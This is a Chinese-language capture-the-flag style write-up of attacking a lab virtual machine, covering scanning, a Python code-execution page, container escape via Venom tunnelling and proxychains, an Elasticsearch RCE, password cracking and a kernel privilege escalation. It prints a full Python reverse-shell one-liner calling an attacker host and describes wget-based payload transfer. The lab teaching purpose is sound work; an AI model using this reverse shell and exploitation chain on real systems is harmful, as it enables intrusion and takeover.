天下第一
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
这一期我想将自己打靶的过程记录分享出来,一方面是为了记录复习自己打靶过程加深印象,一方面也是给初学者提供资源去复现学习。同时我会给需要下载的链接靶场工具等给大家,大家也可以自己去尝试。希望过些靶场能从实战的角度让大家掌握渗透测试这项技能。
点击这里是靶机下载地址点击这里是Virtualbox官网下载地址
此次打靶过程用到了以下攻击手段:
主机发现 端口扫描 服务发现 路径爬取 代码注入 Shell脚本 内网信息收集 内网穿透
漏洞利用 密码破解 本地提权 攻击代码修改
先将kali和靶机安装在同一个虚拟机,并设置同一个网段,我这里都设置NAT模式。
先进行局域网内ip扫描:
开始第一步:kali里面的arpscan工具(这个工具可以扫描局域网所有网段的ip机子):
其中这个10.0.2.5是我靶机的ip,(我这台kali的ip是10.0.2.4)。
然后对这个靶机再进行全端口扫描:
利用kali自带的nmap工具(这个工具是专门用来扫描或ip的端口开放情况):
能够看到有两个端口开放,22和5000端口。(一个是ssh服务的22端口,系统是Ubuntu的。一个是5000端口,这个端口带的服务可能很少见,通过搜索引擎搜索“Werkzeug”可以找到它是一个http的基于python语言web开发的底层框架。那么运行的目标服务器语言就是python,而且从探测出来的信息还知道它是2.7.15版本的python,如果未来我们发现目标服务器上面存在一些代码执行等漏洞,我们就可以通过执行python脚本代码在目标机反弹shell、获取控制器等操作。)
对于http服务是可以通过浏览器打开,所以我们尝试打开这个页面:
10.0.2.5:5000(这是个很简单的web页面,唯一一个交互的地方就是发送信息,尝试了一下XSS这种常规注入,发现貌似没有什么利用点。当然我没有做所有绕过探测,暂时先放这,看看其它的利用点)
所以那就继续常规操作,爆破一下目录:
利用kali自带的dirsearch工具(有的没有,但是会提示你回车安装。我这kali环境python版本有点乱,该工具需要使用python3.7及以上才可以,还要进入dirsearch命令才可以使用):
可以看到扫描出一个域名下面admin的目录,访问:
能够看到这是一个代码执行的页面,那么就有可能 输入所有的代码都交给exec()这个函数执行,从我们开始就知道这是用python语言的,所以我们可以尝试使用python的一个脚本代码,尝试让靶机反弹shell到我们的kali机。
(代码可以搜索引擎搜索出来,不必要会自己写):
代码:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.199.225",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);
先在kali机启动监听,再执行代码(不能乱了顺序启动监听是为了让靶机把shell反弹到自己机器)。
这时候发现已经反弹成功,因为我执行ls这个命令,能够列出靶机上面的文件列表。
同时输入id命令查看一下当前权限:
我们发现直接就是root权限,那么是不是到此为止就代表打靶完成了呢?
稍微细心的同学可能看到Dokerfile这个文件,对Docker容器了解的话,Docker是用来模板化来标准版部署环境的,统一标准版批量化的部署,这是个标准的转换模板文件:
通过cat命令能够看到dockerfile文件里面是个标准的docker部署语句。
说明这就是个Docker容器,我们要想办法绕过容器,拿到宿主机权限才是我们最终的而目标。我们查看当前Docker的ip,如果是内网,就想办法在内网找一下其它机器看看是否有漏洞能否里用:
我这里先是查看了当前Docker容器的ip,然后ping这个网段存活的其它ip机(因为网段很大,我这里演示就不ping所有的了,可以看到只有172.17.0.1和0.2、0.3给我回包了)。
这时候我们需要来扫描这两个端口和目录。但这是在内网,怎么扫描呢?
这时候就用到内网穿透技术了!
这里我就以Venom工具来演示(工具可以去github搜索下载):
把隧道的客户端程序传输拷贝到目标系统上,然后通过我kali上的在他们之间建立一条隧道
由于目标用的是linux64位,所以用到Venom文件里的agent_linux_x64程序。我在这里给它重命名为a(方便后面书写)
我这里cd到Venom目录里面,然后执行服务端程序,同时监听一个9999端口(这个端口随便设):
这是服务端启动监听了。
接下来是客户端要获取到刚才修改为a的那个程序(如何获取到这个a呢?):
我们可以通过kali开启一个http的80服务,然后让靶机来下载我这这kali上面这个a文件。
然后通过目标机来wget来下载这个a文件(顺序不能错,先开启监听,再下载):
然后我们赋予它执行a程序的权限,同时需要来连接服务器端(也就是我之前开启9999端口的那个服务器):
然后我们从服务端show命令查看一下有个+ -- 1说明有1个连接上了,同时,我们goto 1
再次再80端口上监听一个socks代理一个1080端口:
我们为了让kali上面所有工具都可以访问内网整个网段,需要使用另外一个工具(kali自带):proxychain命令
来修改一下配置文件,改成sockts5同时端口改成刚才设置的1080
一切准备就绪之后可以开始对内网进行扫描了。
首先用nmap来扫描之前探测到的内网段存活的ip,分别是172.17.0.1、0.2、0.3。
同时不要忘记proxychains命令:
是不是很眼熟,同样开放了两个端口和之前目标靶机扫描出现的一样。22和5000端口。
同样用浏览器访问一下这个http服务的5000端口(浏览器同样做代理设置:sockts的127.0.0.1:1080):
能够看到这个页面和我们之前的靶机页面是一样的。同时在之前靶机发送消息在这个页面也能展示:
说明这个172.17.0.1这个机器就是这个10.0.2.5这个机器的宿主机(只不过172.17.0.1这个ip是面向内网的地址)。
通过以上探测我就判断出172.17.0.1就是我们要攻击的目标主机了。
这是对172.17.0.1的探测,还有另外一个内网段的172.17.0.2和172.17.0.3这两机器,我们也来尝试一下,其中,172.17.0.2只开放了5000端口,说明也是和之前的一样,一个web页面没什么能利用的,也是属于172.17.0.1主机的一个容器机,而对172.17.0.3扫描出了不一样的东西:
熟悉的同学应该知道9200端口是Elasticsearch的默认端口(同时截图上面扫描结果也正是如此)。
我们根据kali工具msf框架,用搜索命令来搜索该服务存在的过往漏洞:
搜索出来了结果,前面连个个都是远程执行代码漏洞
将第一个文件拷贝下来:
打开查看一下这个执行漏洞的文件,能够看到是用python2写的,下面使用命令注意要将python3改成python2:
接着利用这个代码对目标172.17.0.3执行漏洞:
执行一下ls命令:
看到存在一个passwords文件,查看一下这个文件,发现是一些用户和密码的hash值。
可以去在线工具解密一下:
可以依次去解密,这种账号密码登陆存在于什么地方呢?是不是忽然想起来之前扫描的端口22一直没有去利用,那么这里会不会是峰回路转呢?
我们就先去登陆最开始的靶机(密码就是1337hack,密码输入的时候不会显示出来,输完回车就可以显示登录成功):
另外三组同样尝试发现不行,只有这个john账号可以登录。也就是这个账号是唯一可以利用的。我们用id查看一下当前用户,再用sudo命令尝试一下能否提权。
很显然不能够sudo提权,那么接下来用什么办法提权呢?
这时候想到了内核提权,uname -a 命令看一下当前系统版本:
我们发现这个版本系统很古老,当前最新的linux内核版本应该是5.13左右,而这个是3.13,整整差了两个大版本,这种以前的老版本肯定有存在的系统内核漏洞。同样再次利用searchsploit搜索:
我们发现有很多这个版本的利用漏洞,然后我们挑选其中一个(真实渗透过程中需要一个个尝试):
然后拷贝当前目录,再编辑查看一下:
通过观察漏洞利用代码能看出是个C语言编写的程序,同时我们需要gcc来编辑利用它(因为是C语言的源代码):
如果直接gcc的话,会失败,因为靶机上面没有gcc这个命令,所以我们需要在kali上面对这个文件编译。
但是问题来了,通过阅读源码发现一个问题:
这行指令定义了一个变量lib,这个变量会调用system函数,通过这个函数执行一条系统命令:系统命令又再次调用了gcc,去查找C语言的库文件,然后把这个库文件编译成so文件(也就是二进制共享库文件),然后在整个漏洞代码利用执行当中会再次加载执行之后的so文件。
也就是说即便我在kali编译之后把二进制放到目标系统上执行,执行过程中还会执行编译用到gcc,还是会报错(因为没有gcc)。
我想了很多解决方法,最简单的方法就是修改源码(我这里把选中的这几行都删掉—>涉及到库文件编译的源码):
然后对这个代码进行编译操作,同时指定生成exp文件:
除了这个exp文件,还需要配合上另外一个已经编译生成好的二进制库文件(用locate命令来定位,同时拷贝到当前目录,接下来就是想办法让这两个文件拷贝到目标机上面):
同样还和之前操作一样,在kali上利用python3模块监听http的80端口,再让目标机wget来下载文件:
为了能够执行成功exp文件,我将这两个文件都移动到tmp文件下,然后赋予exp文件(执行exp会读取和调用.so文件)可执行操作,执行成功输入id命令可以看到此时提权成功,已经是root账户了:
到此为止,目标机全部打完。
回顾:先进行了主机的发现,然后再针对发现的主机进行了端口扫描以及服务的扫描。当扫描结束之后我们发现了目标靶机存在5000端口的一个web应用,尝试访问这个web应用,web应用页面下没有收获漏洞。然后通过web路径到发现/admin后台页面,通过后台地址发现一个远程代码执行漏洞,利用这个漏洞获取到了一个目标系统的反弹shell,但是获得这个shell之后发现自己被困在一个容器系统里面。然后又基于这个容器系统对内网IP地址段进行发现,发现过程中识别出了几个内网主机,分别是172.17.0.1、0.2、0.3。再挂上代理进行内网穿透,对这几个地址全端口扫描,我们发现0.3这个地址上面开启了9200端口,也就是elastic search服务端口,尝试对这个服务漏洞利用和攻击,成功拿下了172.17.0.3这台主机,在这台主机里面继续信息搜集发现一个passwords文件,在里面收获了John账号和密码(当然密码需要破解),拿到这个密码之后尝试在内网所有22端口的主机进行登录,最终成功登录了目标靶机的系统,但是接下来之后又遇到了一个难题,我们只是一个普通账号的用户权限,并没有root权限,所以不得不考虑各种各样的提权的操作。我们想到最直接的方法,因为目标主机是个很老版本内核版本的Linux,所以挑选了针对内核漏洞来提权的利用代码,但是这个漏洞利用代码又没有办法在目标系统上进行gcc编译,所以我们不得不修改代码,重新编译,把编译之后的漏洞利用代码和二进制库文件一起传输到目标服务器上,最终在目标服务器上成功利用这个代码进行本地提权,拿到root权限。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)